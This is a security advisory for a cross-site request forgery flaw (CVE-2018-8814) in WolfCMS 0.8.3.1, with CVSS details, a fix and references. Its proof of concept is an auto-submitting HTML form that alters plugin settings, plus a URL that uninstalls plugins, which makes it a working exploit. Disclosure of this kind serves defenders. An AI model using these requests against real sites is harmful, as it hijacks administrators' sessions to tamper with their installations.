WolfCMS 0.8.3.1 Cross Site Request Forgery

2018.04.09

Credit: Sureshbabu Narvaneni

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-8814

CWE: CWE-352

CVSS Base Score: 5.8/10

Impact Subscore: 4.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: Partial

#######################################
# Exploit Title: WolfCMS 0.8.3.1 Cross Site Request Forgery
# Google Dork: N/A
# Date: 04-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.wolfcms.org
# Software Link:
https://bitbucket.org/wolfcms/wolf-cms-downloads/downloads/wolfcms-0.8.3.1.zip
# Affected Version: 0.8.3.1
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-8814
#
# 1. Vendor Description:
#
# Light-weight, fast, simple and powerful CMS. PHP-based, easily extended
CMS. Uses MySQL, SQLite or (from 0.7)
# PostgreSQL for db. Simple drag & drop page hierarchy. Open source,
licensed under GPLv3.
#
# 2. Technical Description:
#
# Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1
allows remote attackers to hijack the
# authentication of users for requests that modify
plugin/[pluginname]/settings and can uninstall plugins by sending
# malicious request.
#
# 3. Proof Of Concept:
#
# Send below request to logged in user to change the plugin settings.
#
#<html>
#  <body>
#    <form action="http://[URL]/wolf/wolfcms/?/admin/plugin/archive/save"
method="POST">
#      <input type="hidden" name="settings&#91;use&#95;dates&#93;"
value="1" />
#      <input type="hidden" name="commit" value="Save" />
#      <input type="submit" value="Submit request" />
#    </form>
#     <script>
#      document.forms[0].submit();
#            </script>
# </body>
#</html>
#
# Share the below URL to uninstall any plugin remotely.
#
# http://[url]/wolfcms/?/admin/setting/uninstall_plugin/[pluginname]
#
#
# 4. Solution:
#
# Upgrade to latest release.
# http://www.wolfcms.org/blog.html
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8814
# https://github.com/wolfcms/wolfcms/issues/671
#####################################

References:

https://github.com/wolfcms/wolfcms/issues/671

See this note in RAW Version

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WolfCMS 0.8.3.1 Cross Site Request Forgery

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